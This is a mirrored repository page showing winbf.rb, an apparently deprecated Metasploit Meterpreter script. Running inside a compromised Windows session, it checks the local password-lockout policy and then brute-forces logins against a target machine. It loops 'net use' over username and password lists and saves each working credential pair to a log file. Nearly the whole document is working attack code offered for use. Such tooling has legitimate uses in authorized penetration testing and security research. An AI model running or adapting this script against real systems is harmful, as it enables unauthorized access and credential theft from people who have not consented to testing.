Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

winbf.rb 6.0KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202
  1. ##
  2. # WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
  3. # If you'd like to improve this script, please try to port it as a post
  4. # module instead. Thank you.
  5. ##
  6. # Author: Carlos Perez at carlos_perez[at]darkoperator.com
  7. #-------------------------------------------------------------------------------
  8. ################## Variable Declarations ##################
  9. @@exec_opts = Rex::Parser::Arguments.new(
  10. "-h" => [ false, "\tHelp menu."],
  11. "-t" => [ true, "\tTarget IP Address"],
  12. "-p" => [ true, "\tPassword List"],
  13. "-c" => [ false, "\tCheck Local Machine Password Policy"],
  14. "-L" => [ true, "\tUsername List to be brute forced"],
  15. "-l" => [ true, "\tLogin name to be brute forced"]
  16. )
  17. # Variables for Options
  18. user = []
  19. ulopt = nil
  20. userlist = nil
  21. passlist = nil
  22. target = nil
  23. helpcall = 0
  24. # The 'client' object holds the Meterpreter session
  25. # Aliasing here for plugin compatibility
  26. session = client
  27. ################## Function Definition ##################
  28. # Function for checking the password policy of current system.
  29. # This policy may resemble the policy of other servers in the
  30. #target enviroment.
  31. def chkpolicy(session)
  32. print_status("Checking password policy...")
  33. output = []
  34. begin
  35. r = session.sys.process.execute("net accounts", nil, {'Hidden' => true, 'Channelized' => true})
  36. while(d = r.channel.read)
  37. output << d
  38. end
  39. r.channel.close
  40. r.close
  41. # Parsing output of net accounts
  42. lockout = output.to_s.scan(/Lockout\sthreshold:\s*(\d*)/)
  43. minpass = output.to_s.scan(/Minimum\spassword\slength:\s*(\d*)/)
  44. failcount = output.to_s.scan(/Lockout\sobservation\swindow\s\(minutes\)\:\s*(\d*)/)
  45. lcktime = output.to_s.scan(/Lockout\sduration\s\(minutes\)\:\s*(\d*)/)
  46. # check for account lockout
  47. if lockout.empty?
  48. print_status "\tNo account lockout threshold configured"
  49. else
  50. print_status "\tWARNING Lockout threshold configured, if #{lockout} attempts in #{failcount} minutes account will be locked"
  51. print_status "\tThe account will be locked out for #{lcktime}"
  52. end
  53. # check for password lenght
  54. if minpass.to_s == "0"
  55. print_status "\tNo minimun password lenght is configured"
  56. else
  57. print_status "\tThe minumun password lengh configured is #{minpass}"
  58. print_status "\tyour dictionary should start with passwords of #{minpass} length"
  59. end
  60. rescue ::Exception => e
  61. print_status("The following Error was encountered: #{e.class} #{e}")
  62. end
  63. end
  64. #--------------------------------------------------------
  65. # Function for brute forcing passwords using windows native tools
  66. def passbf(session,passlist,target,user,opt,logfile)
  67. print_status("Running Brute force attack against #{user}")
  68. print_status("Successfull Username and Password pairs are being saved in #{logfile}")
  69. result = []
  70. output = []
  71. passfnd = 0
  72. a = []
  73. i = 0
  74. if opt == 1
  75. if not ::File.exist?(user)
  76. raise "Usernames List File does not exists!"
  77. else
  78. user = ::File.open(user, "r")
  79. end
  80. end
  81. # Go thru each user
  82. user.each do |u|
  83. # Go thru each line in the password file
  84. while passfnd < 1
  85. ::File.open(passlist, "r").each_line do |line|
  86. begin
  87. print_status("Trying #{u.chomp} #{line.chomp}")
  88. # Command for testing local login credentials
  89. r = session.sys.process.execute("cmd /c net use \\\\#{target} #{line.chomp} /u:#{u.chomp}", nil, {'Hidden' => true, 'Channelized' => true})
  90. while(d = r.channel.read)
  91. output << d
  92. end
  93. r.channel.close
  94. r.close
  95. # Checks if password is found
  96. result = output.to_s.scan(/The\scommand\scompleted\ssuccessfully/)
  97. if result.length == 1
  98. print_status("\tUser: #{u.chomp} pass: #{line.chomp} found")
  99. file_local_write(logfile,"User: #{u.chomp} pass: #{line.chomp}")
  100. r = session.sys.process.execute("cmd /c net use \\\\#{target} /delete", nil, {'Hidden' => true, 'Channelized' => true})
  101. while(d = r.channel.read)
  102. output << d
  103. end
  104. output.clear
  105. r.channel.close
  106. r.close
  107. passfnd = 1
  108. break
  109. end
  110. rescue ::Exception => e
  111. print_status("The following Error was encountered: #{e.class} #{e}")
  112. end
  113. end
  114. passfnd = 1
  115. end
  116. passfnd = 0
  117. end
  118. end
  119. #--------------------------------------------------------
  120. # Function for creating log file
  121. def logme(target)
  122. # Create Filename info to be appended to files
  123. filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
  124. # Create a directory for the logs
  125. logs = ::File.join(Msf::Config.log_directory,'scripts', 'winbf')
  126. # Create the log directory
  127. ::FileUtils.mkdir_p(logs)
  128. #logfile name
  129. dest = logs + "/" + target + filenameinfo
  130. dest
  131. end
  132. #--------------------------------------------------------
  133. #
  134. ##check for proper Meterpreter Platform
  135. def unsupported
  136. print_error("This version of Meterpreter is not supported with this Script!")
  137. raise Rex::Script::Completed
  138. end
  139. unsupported if client.platform != 'windows'
  140. ################## MAIN ##################
  141. # Parsing of Options
  142. @@exec_opts.parse(args) { |opt, idx, val|
  143. case opt
  144. when "-l"
  145. user << val
  146. ulopt = 0
  147. when "-L"
  148. userlist = val
  149. ulopt = 1
  150. when "-c"
  151. chkpolicy(session)
  152. exit
  153. when "-p"
  154. passlist = val
  155. if not ::File.exist?(passlist)
  156. raise "Password File does not exists!"
  157. end
  158. when "-t"
  159. target = val
  160. when "-h"
  161. print("Windows Login Brute Force Meterpreter Script\n" +
  162. "Usage:\n" +
  163. @@exec_opts.usage)
  164. helpcall = 1
  165. end
  166. }
  167. # Execution of options selected
  168. if user.length > 0 && passlist != nil && target != nil
  169. passbf(session,passlist,target,user,ulopt,logme(target))
  170. elsif userlist != nil && passlist != nil && target != nil
  171. passbf(session,passlist,target,userlist,ulopt,logme(target))
  172. elsif helpcall == 0
  173. print("Windows Login Brute Force Meterpreter Script\n" +
  174. "Usage:\n" +
  175. @@exec_opts.usage)
  176. end